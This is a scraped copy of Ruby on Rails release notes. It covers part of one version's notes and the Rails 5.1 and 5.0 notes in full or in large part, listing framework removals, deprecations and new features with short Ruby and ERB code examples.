- Add method #merge! for ActiveModel::Errors. (Pull Request)

- Allow passing a Proc or Symbol to length validator options. (Pull Request)

- Execute ConfirmationValidator validation when _confirmation's value is false. (Pull Request)

- Models using the attributes API with a proc default can now be marshalled. (Commit)

- Do not lose all multiple :includes with options in serialization. (Commit)

10 Active Support

Please refer to the Changelog for detailed changes.

10.1 Removals

- Remove deprecated :if and :unless string filter for callbacks. (Commit)

- Remove deprecated halt_callback_chains_on_return_false option. (Commit)

10.2 Deprecations

- Deprecate Module#reachable? method. (Pull Request)

- Deprecate secrets.secret_token. (Commit)

10.3 Notable changes

- Add fetch_values for HashWithIndifferentAccess. (Pull Request)

- Add support for :offset to Time#change. (Commit)

- Add support for :offset and :zone to ActiveSupport::TimeWithZone#change. (Commit)

- Pass gem name and deprecation horizon to deprecation notifications. (Pull Request)

- Add support for versioned cache entries. This enables the cache stores to recycle cache keys, greatly saving on storage in cases with frequent churn. Works together with the separation of #cache_key and #cache_version in Active Record and its use in Action Pack's fragment caching. (Pull Request)

- Add ActiveSupport::CurrentAttributes to provide a thread-isolated attributes singleton. Primary use case is keeping all the per-request attributes easily available to the whole system. (Pull Request)

- #singularize and #pluralize now respect uncountables for the specified locale. (Commit)

- Add default option to class_attribute. (Pull Request)

- Add Date#prev_occurring and Date#next_occurring to return specified next/previous occurring day of week. (Pull Request)

- Add default option to module and class attribute accessors. (Pull Request)

- Cache: write_multi. (Pull Request)

- Default ActiveSupport::MessageEncryptor to use AES 256 GCM encryption. (Pull Request)

- Add freeze_time helper which freezes time to Time.now in tests. (Pull Request)

- Make the order of Hash#reverse_merge! consistent with HashWithIndifferentAccess. (Pull Request)

- Add purpose and expiry support to ActiveSupport::MessageVerifier and ActiveSupport::MessageEncryptor. (Pull Request)

- Update String#camelize to provide feedback when wrong option is passed. (Pull Request)

- Module#delegate_missing_to now raises DelegationError if target is nil, similar to Module#delegate. (Pull Request)

- Add ActiveSupport::EncryptedFile and ActiveSupport::EncryptedConfiguration. (Pull Request)

- Add config/credentials.yml.enc to store production app secrets. (Pull Request)

- Add key rotation support to MessageEncryptor and MessageVerifier. (Pull Request)

- Return an instance of HashWithIndifferentAccess from HashWithIndifferentAccess#transform_keys. (Pull Request)

- Hash#slice now falls back to Ruby 2.5+'s built-in definition if defined. (Commit)

- IO#to_json now returns the to_s representation, rather than attempting to convert to an array. This fixes a bug where IO#to_json would raise an IOError when called on an unreadable object. (Pull Request)

- Add same method signature for Time#prev_day and Time#next_day in accordance with Date#prev_day, Date#next_day. Allows pass argument for Time#prev_day and Time#next_day. (Commit)

- Add same method signature for Time#prev_month and Time#next_month in accordance with Date#prev_month, Date#next_month. Allows pass argument for Time#prev_month and Time#next_month. (Commit)

- Add same method signature for Time#prev_year and Time#next_year in accordance with Date#prev_year, Date#next_year. Allows pass argument for Time#prev_year and Time#next_year. (Commit)

- Fix acronym support in humanize. (Commit)

- Allow Range#include? on TWZ ranges. (Pull Request)

- Cache: Enable compression by default for values > 1kB. (Pull Request)

- Redis cache store. (Pull Request, Pull Request)

- Handle TZInfo::AmbiguousTime errors. (Pull Request)

- MemCacheStore: Support expiring counters. (Commit)

- Make ActiveSupport::TimeZone.all return only time zones that are in ActiveSupport::TimeZone::MAPPING. (Pull Request)

- Changed default behaviour of ActiveSupport::SecurityUtils.secure_compare, to make it not leak length information even for variable length string. Renamed old ActiveSupport::SecurityUtils.secure_compare to fixed_length_secure_compare, and started raising ArgumentError in case of length mismatch of passed strings. (Pull Request)

- Use SHA-1 to generate non-sensitive digests, such as the ETag header. (Pull Request, Pull Request)

- assert_changes will always assert that the expression changes, regardless of from: and to: argument combinations. (Pull Request)

- Add missing instrumentation for read_multi in ActiveSupport::Cache::Store. (Pull Request)

- Support hash as first argument in assert_difference. This allows to specify multiple numeric differences in the same assertion. (Pull Request)

- Caching: MemCache and Redis read_multi and fetch_multi speedup. Read from the local in-memory cache before consulting the backend. (Commit)

11 Active Job

Please refer to the Changelog for detailed changes.

11.1 Notable changes

- Allow block to be passed to ActiveJob::Base.discard_on to allow custom handling of discard jobs. (Pull Request)

12 Ruby on Rails Guides

Please refer to the Changelog for detailed changes.

12.1 Notable changes

- Add Threading and Code Execution in Rails Guide. (Pull Request)

- Add Active Storage Overview Guide. (Pull Request)

13 Credits

See the full list of contributors to Rails for the many people who spent many hours making Rails, the stable and robust framework it is. Kudos to all of them.

Ruby on Rails 5.1 Release Notes — Ruby...

1 Upgrading to Rails 5.1

If you're upgrading an existing application, it's a great idea to have good test coverage before going in. You should also first upgrade to Rails 5.0 in case you haven't and make sure your application still runs as expected before attempting an update to Rails 5.1. A list of things to watch out for when upgrading is available in the Upgrading Ruby on Rails guide.

2 Major Features

2.1 Yarn Support

Pull Request

Rails 5.1 allows managing JavaScript dependencies from npm via Yarn. This will make it easy to use libraries like React, VueJS or any other library from npm world. The Yarn support is integrated with the asset pipeline so that all dependencies will work seamlessly with the Rails 5.1 app.

2.2 Optional Webpack support

Pull Request

Rails apps can integrate with Webpack, a JavaScript asset bundler, more easily using the new Webpacker gem. Use the --webpack flag when generating new applications to enable Webpack integration.

This is fully compatible with the asset pipeline, which you can continue to use for images, fonts, sounds, and other assets. You can even have some JavaScript code managed by the asset pipeline, and other code processed via Webpack. All of this is managed by Yarn, which is enabled by default.

2.3 jQuery no longer a default dependency

Pull Request

jQuery was required by default in earlier versions of Rails to provide features like data-remote, data-confirm and other parts of Rails' Unobtrusive JavaScript offerings. It is no longer required, as the UJS has been rewritten to use plain, vanilla JavaScript. This code now ships inside of Action View as rails-ujs.

You can still use jQuery if needed, but it is no longer required by default.

2.4 System tests

Pull Request

Rails 5.1 has baked-in support for writing Capybara tests, in the form of System tests. You no longer need to worry about configuring Capybara and database cleaning strategies for such tests. Rails 5.1 provides a wrapper for running tests in Chrome with additional features such as failure screenshots.

2.5 Encrypted secrets

Pull Request

Rails now allows management of application secrets in a secure way, inspired by the sekrets gem.

Run bin/rails secrets:setup to set up a new encrypted secrets file. This will also generate a master key, which must be stored outside of the repository. The secrets themselves can then be safely checked into the revision control system, in an encrypted form.

Secrets will be decrypted in production, using a key stored either in the RAILS_MASTER_KEY environment variable, or in a key file.

2.6 Parameterized mailers

Pull Request

Allows specifying common parameters used for all methods in a mailer class in order to share instance variables, headers, and other common setup.

class InvitationsMailer < ApplicationMailer
before_action { @inviter, @invitee = params[:inviter], params[:invitee] }
before_action { @account = params[:inviter].account }

def account_invitation
mail subject: "#{@inviter.name} invited you to their Basecamp (#{@account.name})"
end
end

class InvitationsMailer < ApplicationMailer before_action { @inviter, @invitee = params[:inviter], params[:invitee] } before_action { @account = params[:inviter].account } def account_invitation mail subject: "#{@inviter.name} invited you to their Basecamp (#{@account.name})" end end Copiar

InvitationsMailer.with(inviter: person_a, invitee: person_b)
.account_invitation.deliver_later

InvitationsMailer.with(inviter: person_a, invitee: person_b) .account_invitation.deliver_later Copiar

2.7 Direct & resolved routes

Pull Request

Rails 5.1 adds two new methods, resolve and direct, to the routing DSL. The resolve method allows customizing polymorphic mapping of models.

resource :basket

resolve("Basket") { [:basket] }

resource :basket resolve("Basket") { [:basket] } Copiar

<%= form_for @basket do |form| %>
<!-- basket form -->
<% end %>

<%= form_for @basket do |form| %> <!-- basket form --> <% end %> Copiar

This will generate the singular URL /basket instead of the usual /baskets/:id.

The direct method allows creation of custom URL helpers.

direct(:homepage) { "http://www.rubyonrails.org" }

homepage_url # => "http://www.rubyonrails.org"

direct(:homepage) { "http://www.rubyonrails.org" } homepage_url # => "http://www.rubyonrails.org" Copiar

The return value of the block must be a valid argument for the url_for method. So, you can pass a valid string URL, Hash, Array, an Active Model instance, or an Active Model class.

direct :commentable do |model|
[ model, anchor: model.dom_id ]
end

direct :main do
{ controller: 'pages', action: 'index', subdomain: 'www' }
end

direct :commentable do |model| [ model, anchor: model.dom_id ] end direct :main do { controller: 'pages', action: 'index', subdomain: 'www' } end Copiar

2.8 Unification of form_for and form_tag into form_with

Pull Request

Before Rails 5.1, there were two interfaces for handling HTML forms: form_for for model instances and form_tag for custom URLs.

Rails 5.1 combines both of these interfaces with form_with, and can generate form tags based on URLs, scopes, or models.

Using just a URL:

<%= form_with url: posts_path do |form| %>
<%= form.text_field :title %>
<% end %>

<%# Will generate %>

<form action="/posts" method="post" data-remote="true">
<input type="text" name="title">
</form>

<%= form_with url: posts_path do |form| %> <%= form.text_field :title %> <% end %> <%# Will generate %> <form action="/posts" method="post" data-remote="true"> <input type="text" name="title"> </form> Copiar

Adding a scope prefixes the input field names:

<%= form_with scope: :post, url: posts_path do |form| %>
<%= form.text_field :title %>
<% end %>

<%# Will generate %>

<form action="/posts" method="post" data-remote="true">
<input type="text" name="post[title]">
</form>

<%= form_with scope: :post, url: posts_path do |form| %> <%= form.text_field :title %> <% end %> <%# Will generate %> <form action="/posts" method="post" data-remote="true"> <input type="text" name="post[title]"> </form> Copiar

Using a model infers both the URL and scope:

<%= form_with model: Post.new do |form| %>
<%= form.text_field :title %>
<% end %>

<%# Will generate %>

<form action="/posts" method="post" data-remote="true">
<input type="text" name="post[title]">
</form>

<%= form_with model: Post.new do |form| %> <%= form.text_field :title %> <% end %> <%# Will generate %> <form action="/posts" method="post" data-remote="true"> <input type="text" name="post[title]"> </form> Copiar

An existing model makes an update form and fills out field values:

<%= form_with model: Post.first do |form| %>
<%= form.text_field :title %>
<% end %>

<%# Will generate %>

<form action="/posts/1" method="post" data-remote="true">
<input type="hidden" name="_method" value="patch">
<input type="text" name="post[title]" value="<the title of the post>">
</form>

<%= form_with model: Post.first do |form| %> <%= form.text_field :title %> <% end %> <%# Will generate %> <form action="/posts/1" method="post" data-remote="true"> <input type="hidden" name="_method" value="patch"> <input type="text" name="post[title]" value="<the title of the post>"> </form> Copiar

3 Incompatibilities

The following changes may require immediate action upon upgrade.

3.1 Transactional tests with multiple connections

Transactional tests now wrap all Active Record connections in database transactions.

When a test spawns additional threads, and those threads obtain database connections, those connections are now handled specially:

The threads will share a single connection, which is inside the managed transaction. This ensures all threads see the database in the same state, ignoring the outermost transaction. Previously, such additional connections were unable to see the fixture rows, for example.

When a thread enters a nested transaction, it will temporarily obtain exclusive use of the connection, to maintain isolation.

If your tests currently rely on obtaining a separate, outside-of-transaction, connection in a spawned thread, you'll need to switch to more explicit connection management.

If your tests spawn threads and those threads interact while also using explicit database transactions, this change may introduce a deadlock.

The easy way to opt out of this new behavior is to disable transactional tests on any test cases it affects.

4 Railties

Please refer to the Changelog for detailed changes.

4.1 Removals

- Remove deprecated config.static_cache_control. (commit)

- Remove deprecated config.serve_static_files. (commit)

- Remove deprecated file rails/rack/debugger. (commit)

- Remove deprecated tasks: rails:update, rails:template, rails:template:copy, rails:update:configs and rails:update:bin. (commit)

- Remove deprecated CONTROLLER environment variable for routes task. (commit)

- Remove -j (--javascript) option from rails new command. (Pull Request)

4.2 Notable changes

- Added a shared section to config/secrets.yml that will be loaded for all environments. (commit)

- The config file config/secrets.yml is now loaded in with all keys as symbols. (Pull Request)

- Removed jquery-rails from default stack. rails-ujs, which is shipped with Action View, is included as default UJS adapter. (Pull Request)

- Add Yarn support in new apps with a yarn binstub and package.json. (Pull Request)

- Add Webpack support in new apps via the --webpack option, which will delegate to the rails/webpacker gem. (Pull Request)

- Initialize Git repo when generating new app, if option --skip-git is not provided. (Pull Request)

- Add encrypted secrets in config/secrets.yml.enc. (Pull Request)

- Display railtie class name in rails initializers. (Pull Request)

5 Action Cable

Please refer to the Changelog for detailed changes.

5.1 Notable changes

- Added support for channel_prefix to Redis and evented Redis adapters in cable.yml to avoid name collisions when using the same Redis server with multiple applications. (Pull Request)

- Add ActiveSupport::Notifications hook for broadcasting data. (Pull Request)

6 Action Pack

Please refer to the Changelog for detailed changes.

6.1 Removals

- Removed support for non-keyword arguments in #process, #get, #post, #patch, #put, #delete, and #head for the ActionDispatch::IntegrationTest and ActionController::TestCase classes. (Commit, Commit)

- Removed deprecated ActionDispatch::Callbacks.to_prepare and ActionDispatch::Callbacks.to_cleanup. (Commit)

- Removed deprecated methods related to controller filters. (Commit)

- Removed deprecated support to :text and :nothing in render. (Commit, Commit)

- Removed deprecated support for calling HashWithIndifferentAccess methods on ActionController::Parameters. (Commit)

6.2 Deprecations

- Deprecated config.action_controller.raise_on_unfiltered_parameters. It doesn't have any effect in Rails 5.1. (Commit)

6.3 Notable changes

- Added the direct and resolve methods to the routing DSL. (Pull Request)

- Added a new ActionDispatch::SystemTestCase class to write system tests in your applications. (Pull Request)

7 Action View

Please refer to the Changelog for detailed changes.

7.1 Removals

- Removed deprecated #original_exception in ActionView::Template::Error. (commit)

- Remove the option encode_special_chars misnomer from strip_tags. (Pull Request)

7.2 Deprecations

- Deprecated Erubis ERB handler in favor of Erubi. (Pull Request)

7.3 Notable changes

- Raw template handler (the default template handler in Rails 5) now outputs HTML-safe strings. (commit)

- Change datetime_field and datetime_field_tag to generate datetime-local fields. (Pull Request)

- New Builder-style syntax for HTML tags (tag.div, tag.br, etc.) (Pull Request)

- Add form_with to unify form_tag and form_for usage. (Pull Request)

- Add check_parameters option to current_page?. (Pull Request)

8 Action Mailer

Please refer to the Changelog for detailed changes.

8.1 Notable changes

- Allowed setting custom content type when attachments are included and body is set inline. (Pull Request)

- Allowed passing lambdas as values to the default method. (Commit)

- Added support for parameterized invocation of mailers to share before filters and defaults between different mailer actions. (Commit)

- Passed the incoming arguments to the mailer action to process.action_mailer event under an args key. (Pull Request)

9 Active Record

Please refer to the Changelog for detailed changes.

9.1 Removals

- Removed support for passing arguments and block at the same time to ActiveRecord::QueryMethods#select. (Commit)

- Removed deprecated activerecord.errors.messages.restrict_dependent_destroy.one and activerecord.errors.messages.restrict_dependent_destroy.many i18n scopes. (Commit)

- Removed deprecated force reload argument in singular and collection association readers. (Commit)

- Removed deprecated support for passing a column to #quote. (Commit)

- Removed deprecated name arguments from #tables. (Commit)

- Removed deprecated behavior of #tables and #table_exists? to return tables and views to return only tables and not views. (Commit)

- Removed deprecated original_exception argument in ActiveRecord::StatementInvalid#initialize and ActiveRecord::StatementInvalid#original_exception. (Commit)

- Removed deprecated support of passing a class as a value in a query. (Commit)

- Removed deprecated support to query using commas on LIMIT. (Commit)

- Removed deprecated conditions parameter from #destroy_all. (Commit)

- Removed deprecated conditions parameter from #delete_all. (Commit)

- Removed deprecated method #load_schema_for in favor of #load_schema. (Commit)

- Removed deprecated #raise_in_transactional_callbacks configuration. (Commit)

- Removed deprecated #use_transactional_fixtures configuration. (Commit)

9.2 Deprecations

- Deprecated error_on_ignored_order_or_limit flag in favor of error_on_ignored_order. (Commit)

- Deprecated sanitize_conditions in favor of sanitize_sql. (Pull Request)

- Deprecated supports_migrations? on connection adapters. (Pull Request)

- Deprecated Migrator.schema_migrations_table_name, use SchemaMigration.table_name instead. (Pull Request)

- Deprecated using #quoted_id in quoting and type casting. (Pull Request)

- Deprecated passing default argument to #index_name_exists?. (Pull Request)

9.3 Notable changes

- Change Default Primary Keys to BIGINT. (Pull Request)

- Virtual/generated column support for MySQL 5.7.5+ and MariaDB 5.2.0+. (Commit)

- Added support for limits in batch processing. (Commit)

- Transactional tests now wrap all Active Record connections in database transactions. (Pull Request)

- Skipped comments in the output of mysqldump command by default. (Pull Request)

- Fixed ActiveRecord::Relation#count to use Ruby's Enumerable#count for counting records when a block is passed as argument instead of silently ignoring the passed block. (Pull Request)

- Pass "-v ON_ERROR_STOP=1" flag with psql command to not suppress SQL errors. (Pull Request)

- Add ActiveRecord::Base.connection_pool.stat. (Pull Request)

- Inheriting directly from ActiveRecord::Migration raises an error. Specify the Rails version for which the migration was written for. (Commit)

- An error is raised when through association has ambiguous reflection name. (Commit)

10 Active Model

Please refer to the Changelog for detailed changes.

10.1 Removals

- Removed deprecated methods in ActiveModel::Errors. (commit)

- Removed deprecated :tokenizer option in the length validator. (commit)

- Remove deprecated behavior that halts callbacks when the return value is false. (commit)

10.2 Notable changes

- The original string assigned to a model attribute is no longer incorrectly frozen. (Pull Request)

11 Active Job

Please refer to the Changelog for detailed changes.

11.1 Removals

- Removed deprecated support to passing the adapter class to .queue_adapter. (commit)

- Removed deprecated #original_exception in ActiveJob::DeserializationError. (commit)

11.2 Notable changes

- Added declarative exception handling via ActiveJob::Base.retry_on and ActiveJob::Base.discard_on. (Pull Request)

- Yield the job instance so you have access to things like job.arguments on the custom logic after retries fail. (commit)

12 Active Support

Please refer to the Changelog for detailed changes.

12.1 Removals

- Removed the ActiveSupport::Concurrency::Latch class. (Commit)

- Removed halt_callback_chains_on_return_false. (Commit)

- Removed deprecated behavior that halts callbacks when the return is false. (Commit)

12.2 Deprecations

- The top level HashWithIndifferentAccess class has been softly deprecated in favor of the ActiveSupport::HashWithIndifferentAccess one. (Pull Request)

- Deprecated passing string to :if and :unless conditional options on set_callback and skip_callback. (Commit)

12.3 Notable changes

- Fixed duration parsing and traveling to make it consistent across DST changes. (Commit, Pull Request)

- Updated Unicode to version 9.0.0. (Pull Request)

- Add Duration#before and #after as aliases for #ago and #since. (Pull Request)

- Added Module#delegate_missing_to to delegate method calls not defined for the current object to a proxy object. (Pull Request)

- Added Date#all_day which returns a range representing the whole day of the current date & time. (Pull Request)

- Introduced the assert_changes and assert_no_changes methods for tests. (Pull Request)

- The travel and travel_to methods now raise on nested calls. (Pull Request)

- Update DateTime#change to support usec and nsec. (Pull Request)

13 Credits

See the full list of contributors to Rails for the many people who spent many hours making Rails, the stable and robust framework it is. Kudos to all of them.

Ruby on Rails 5.0 Release Notes — Ruby...

1 Upgrading to Rails 5.0

If you're upgrading an existing application, it's a great idea to have good test coverage before going in. You should also first upgrade to Rails 4.2 in case you haven't and make sure your application still runs as expected before attempting an update to Rails 5.0. A list of things to watch out for when upgrading is available in the Upgrading Ruby on Rails guide.

2 Major Features

2.1 Action Cable

Action Cable is a new framework in Rails 5. It seamlessly integrates WebSockets with the rest of your Rails application.

Action Cable allows for real-time features to be written in Ruby in the same style and form as the rest of your Rails application, while still being performant and scalable. It's a full-stack offering that provides both a client-side JavaScript framework and a server-side Ruby framework. You have access to your full domain model written with Active Record or your ORM of choice.

See the Action Cable Overview guide for more information.

2.2 API Applications

Rails can now be used to create slimmed down API only applications. This is useful for creating and serving APIs similar to Twitter or GitHub API, that can be used to serve public facing, as well as, for custom applications.

You can generate a new api Rails app using:

$ rails new my_api --api

rails new my_api --api Copiar

This will do three main things:

- Configure your application to start with a more limited set of middleware than normal. Specifically, it will not include any middleware primarily useful for browser applications (like cookies support) by default.

- Make ApplicationController inherit from ActionController::API instead of ActionController::Base. As with middleware, this will leave out any Action Controller modules that provide functionalities primarily used by browser applications.

- Configure the generators to skip generating views, helpers, and assets when you generate a new resource.

The application provides a base for APIs, that can then be configured to pull in functionality as suitable for the application's needs.

See the Using Rails for API-only Applications guide for more information.

2.3 Active Record attributes API

Defines an attribute with a type on a model. It will override the type of existing attributes if needed. This allows control over how values are converted to and from SQL when assigned to a model. It also changes the behavior of values passed to ActiveRecord::Base.where, which lets use our domain objects across much of Active Record, without having to rely on implementation details or monkey patching.

Some things that you can achieve with this:

- The type detected by Active Record can be overridden.

- A default can also be provided.

- Attributes do not need to be backed by a database column.

# db/schema.rb
create_table :store_listings, force: true do |t|
t.decimal :price_in_cents
t.string :my_string, default: "original default"
end

# db/schema.rb create_table :store_listings, force: true do |t| t.decimal :price_in_cents t.string :my_string, default: "original default" end Copiar

# app/models/store_listing.rb
class StoreListing < ActiveRecord::Base
end

# app/models/store_listing.rb class StoreListing < ActiveRecord::Base end Copiar

store_listing = StoreListing.new(price_in_cents: '10.1')

# before
store_listing.price_in_cents # => BigDecimal.new(10.1)
StoreListing.new.my_string # => "original default"

class StoreListing < ActiveRecord::Base
attribute :price_in_cents, :integer # custom type
attribute :my_string, :string, default: "new default" # default value
attribute :my_default_proc, :datetime, default: -> { Time.now } # default value
attribute :field_without_db_column, :integer, array: true
end

# after
store_listing.price_in_cents # => 10
StoreListing.new.my_string # => "new default"
StoreListing.new.my_default_proc # => 2015-05-30 11:04:48 -0600
model = StoreListing.new(field_without_db_column: ["1", "2", "3"])
model.attributes # => {field_without_db_column: [1, 2, 3]}

store_listing = StoreListing.new(price_in_cents: '10.1') # before store_listing.price_in_cents # => BigDecimal.new(10.1) StoreListing.new.my_string # => "original default" class StoreListing < ActiveRecord::Base attribute :price_in_cents, :integer # custom type attribute :my_string, :string, default: "new default" # default value attribute :my_default_proc, :datetime, default: -> { Time.now } # default value attribute :field_without_db_column, :integer, array: true end # after store_listing.price_in_cents # => 10 StoreListing.new.my_string # => "new default" StoreListing.new.my_default_proc # => 2015-05-30 11:04:48 -0600 model = StoreListing.new(field_without_db_column: ["1", "2", "3"]) model.attributes # => {field_without_db_column: [1, 2, 3]} Copiar

Creating Custom Types:

You can define your own custom types, as long as they respond to the methods defined on the value type. The method deserialize or cast will be called on your type object, with raw input from the database or from your controllers. This is useful, for example, when doing custom conversion, like Money data.

Querying:

When ActiveRecord::Base.where is called, it will use the type defined by the model class to convert the value to SQL, calling serialize on your type object.

This gives the objects ability to specify, how to convert values when performing SQL queries.

Dirty Tracking:

The type of an attribute is given the opportunity to change how dirty tracking is performed.

See its documentation for a detailed write up.

2.4 Test Runner

A new test runner has been introduced to enhance the capabilities of running tests from Rails. To use this test runner simply type bin/rails test.

Test Runner is inspired from RSpec, minitest-reporters, maxitest and others. It includes some of these notable advancements:

- Run a single test using line number of test.

- Run multiple tests pinpointing to line number of tests.

- Improved failure messages, which also add ease of re-running failed tests.

- Fail fast using -f option, to stop tests immediately on occurrence of failure, instead of waiting for the suite to complete.

- Defer test output until the end of a full test run using the -d option.

- Complete exception backtrace output using -b option.

- Integration with minitest to allow options like -s for test seed data, -n for running specific test by name, -v for better verbose output and so forth.

- Colored test output.

3 Railties

Please refer to the Changelog for detailed changes.

3.1 Removals

- Removed debugger support, use byebug instead. debugger is not supported by Ruby 2.2. (commit)

- Removed deprecated test:all and test:all:db tasks. (commit)

- Removed deprecated Rails::Rack::LogTailer. (commit)

- Removed deprecated RAILS_CACHE constant. (commit)

- Removed deprecated serve_static_assets configuration. (commit)

- Removed the documentation tasks doc:app, doc:rails, and doc:guides. (commit)

- Removed Rack::ContentLength middleware from the default stack. (Commit)

3.2 Deprecations

- Deprecated config.static_cache_control in favor of config.public_file_server.headers. (Pull Request)

- Deprecated config.serve_static_files in favor of config.public_file_server.enabled. (Pull Request)

- Deprecated the tasks in the rails task namespace in favor of the app namespace. (e.g. rails:update and rails:template tasks are renamed to app:update and app:template.) (Pull Request)

3.3 Notable changes

- Added Rails test runner bin/rails test. (Pull Request)

- Newly generated applications and plugins get a README.md in Markdown. (commit, Pull Request)

- Added bin/rails restart task to restart your Rails app by touching tmp/restart.txt. (Pull Request)

- Added bin/rails initializers task to print out all defined initializers in the order they are invoked by Rails. (Pull Request)

- Added bin/rails dev:cache to enable or disable caching in development mode. (Pull Request)

- Added bin/update script to update the development environment automatically. (Pull Request)

- Proxy Rake tasks through bin/rails. (Pull Request, Pull Request)

- New applications are generated with the evented file system monitor enabled on Linux and macOS. The feature can be opted out by passing --skip-listen to the generator. (commit, commit)

- Generate applications with an option to log to STDOUT in production using the environment variable RAILS_LOG_TO_STDOUT. (Pull Request)

- Enable HSTS with IncludeSudomains header for new applications. (Pull Request)

- The application generator writes a new file config/spring.rb, which tells Spring to watch additional common files. (commit)

- Added --skip-action-mailer to skip Action Mailer while generating new app. (Pull Request)

- Removed tmp/sessions directory and the clear rake task associated with it. (Pull Request)

- Changed _form.html.erb generated by scaffold generator to use local variables. (Pull Request)

- Disabled autoloading of classes in production environment. (commit)

4 Action Pack

Please refer to the Changelog for detailed changes.

4.1 Removals

- Removed ActionDispatch::Request::Utils.deep_munge. (commit)

- Removed ActionController::HideActions. (Pull Request)

- Removed respond_to and respond_with placeholder methods, this functionality has been extracted to the responders gem. (commit)

- Removed deprecated assertion files. (commit)

- Removed deprecated usage of string keys in URL helpers. (commit)

- Removed deprecated only_path option on *_path helpers. (commit)

- Removed deprecated NamedRouteCollection#helpers. (commit)

- Removed deprecated support to define routes with :to option that doesn't contain #. (commit)

- Removed deprecated ActionDispatch::Response#to_ary. (commit)

- Removed deprecated ActionDispatch::Request#deep_munge. (commit)

- Removed deprecated ActionDispatch::Http::Parameters#symbolized_path_parameters. (commit)

- Removed deprecated option use_route in controller tests. (commit)

- Removed assigns and assert_template. Both methods have been extracted into the rails-controller-testing gem. (Pull Request)

4.2 Deprecations

- Deprecated all *_filter callbacks in favor of *_action callbacks. (Pull Request)

- Deprecated *_via_redirect integration test methods. Use follow_redirect! manually after the request call for the same behavior. (Pull Request)

- Deprecated AbstractController#skip_action_callback in favor of individual skip_callback methods. (Pull Request)

- Deprecated :nothing option for render method. (Pull Request)

- Deprecated passing first parameter as Hash and default status code for head method. (Pull Request)

- Deprecated using strings or symbols for middleware class names. Use class names instead. (commit)

- Deprecated accessing mime types via constants (e.g. Mime::HTML). Use the subscript operator with a symbol instead (e.g. Mime[:html]). (Pull Request)

- Deprecated redirect_to :back in favor of redirect_back, which accepts a required fallback_location argument, thus eliminating the possibility of a RedirectBackError. (Pull Request)

- ActionDispatch::IntegrationTest and ActionController::TestCase deprecate positional arguments in favor of keyword arguments. (Pull Request)

- Deprecated :controller and :action path parameters. (Pull Request)

- Deprecated env method on controller instances. (commit)

- ActionDispatch::ParamsParser is deprecated and was removed from the middleware stack. To configure the parameter parsers use ActionDispatch::Request.parameter_parsers=. (commit, commit)

4.3 Notable changes

- Added ActionController::Renderer to render arbitrary templates outside controller actions. (Pull Request)

- Migrating to keyword arguments syntax in ActionController::TestCase and ActionDispatch::Integration HTTP request methods. (Pull Request)

- Added http_cache_forever to Action Controller, so we can cache a response that never gets expired. (Pull Request)

- Provide friendlier access to request variants. (Pull Request)

- For actions with no corresponding templates, render head :no_content instead of raising an error. (Pull Request)

- Added the ability to override default form builder for a controller. (Pull Request)

- Added support for API only apps. ActionController::API is added as a replacement of ActionController::Base for this kind of applications. (Pull Request)

- Make ActionController::Parameters no longer inherits from HashWithIndifferentAccess. (Pull Request)

- Make it easier to opt in to config.force_ssl and config.ssl_options by making them less dangerous to try and easier to disable. (Pull Request)

- Added the ability of returning arbitrary headers to ActionDispatch::Static. (Pull Request)

- Changed the protect_from_forgery prepend default to false. (commit)

- ActionController::TestCase will be moved to its own gem in Rails 5.1. Use ActionDispatch::IntegrationTest instead. (commit)

- Rails generates weak ETags by default. (Pull Request)

- Controller actions without an explicit render call and with no corresponding templates will render head :no_content implicitly instead of raising an error. (Pull Request 1, 2)

- Added an option for per-form CSRF tokens. (Pull Request)

- Added request encoding and response parsing to integration tests. (Pull Request)

- Add ActionController#helpers to get access to the view context at the controller level. (Pull Request)

- Discarded flash messages get removed before storing into session. (Pull Request)

- Added support for passing collection of records to fresh_when and stale?. (Pull Request)

- ActionController::Live became an ActiveSupport::Concern. That means it can't be just included in other modules without extending them with ActiveSupport::Concern or ActionController::Live won't take effect in production. Some people may be using another module to include some special Warden/Devise authentication failure handling code as well since the middleware can't catch a :warden thrown by a spawned thread which is the case when using ActionController::Live. (More details in this issue)

- Introduce Response#strong_etag= and #weak_etag= and analogous options for fresh_when and stale?. (Pull Request)

5 Action View

Please refer to the Changelog for detailed changes.

5.1 Removals

- Removed deprecated AbstractController::Base::parent_prefixes. (commit)

- Removed ActionView::Helpers::RecordTagHelper, this functionality has been extracted to the record_tag_helper gem. (Pull Request)

- Removed :rescue_format option for translate helper since it's no longer supported by I18n. (Pull Request)

5.2 Notable Changes

- Changed the default template handler from ERB to Raw. (commit)

- Collection rendering can cache and fetches multiple partials at once. (Pull Request, commit)

- Added wildcard matching to explicit dependencies. (Pull Request)

- Make disable_with the default behavior for submit tags. Disables the button on submit to prevent double submits. (Pull Request)

- Partial template name no longer has to be a valid Ruby identifier. (commit)

- The datetime_tag helper now generates an input tag with the type of datetime-local. (Pull Request)

- Allow blocks while rendering with the render partial: helper. (Pull Request)

6 Action Mailer

Please refer to the Changelog for detailed changes.

6.1 Removals

- Removed deprecated *_path helpers in email views. (commit)

- Removed deprecated deliver and deliver! methods. (commit)

6.2 Notable changes

- Template lookup now respects default locale and I18n fallbacks. (commit)

- Added _mailer suffix to mailers created via generator, following the same naming convention used in controllers and jobs. (Pull Request)

- Added assert_enqueued_emails and assert_no_enqueued_emails. (Pull Request)

- Added config.action_mailer.deliver_later_queue_name configuration to set the mailer queue name. (Pull Request)

- Added support for fragment caching in Action Mailer views. Added new config option config.action_mailer.perform_caching to determine whether your templates should perform caching or not. (Pull Request)

7 Active Record

Please refer to the Changelog for detailed changes.

7.1 Removals

- Removed deprecated behavior allowing nested arrays to be passed as query values. (Pull Request)

- Removed deprecated ActiveRecord::Tasks::DatabaseTasks#load_schema. This method was replaced by ActiveRecord::Tasks::DatabaseTasks#load_schema_for. (commit)

- Removed deprecated serialized_attributes. (commit)

- Removed deprecated automatic counter caches on has_many :through. (commit)

- Removed deprecated sanitize_sql_hash_for_conditions. (commit)

- Removed deprecated Reflection#source_macro. (commit)

- Removed deprecated symbolized_base_class and symbolized_sti_name. (commit)

- Removed deprecated ActiveRecord::Base.disable_implicit_join_references=. (commit)

- Removed deprecated access to connection specification using a string accessor. (commit)

- Removed deprecated support to preload instance-dependent associations. (commit)

- Removed deprecated support for PostgreSQL ranges with exclusive lower bounds. (commit)

- Removed deprecation when modifying a relation with cached Arel. This raises an ImmutableRelation error instead. (commit)

- Removed ActiveRecord::Serialization::XmlSerializer from core. This feature has been extracted into the activemodel-serializers-xml gem. (Pull Request)

- Removed support for the legacy mysql database adapter from core. Most users should be able to use mysql2. It will be converted to a separate gem when we find someone to maintain it. (Pull Request 1, Pull Request 2)

- Removed support for the protected_attributes gem. (commit)

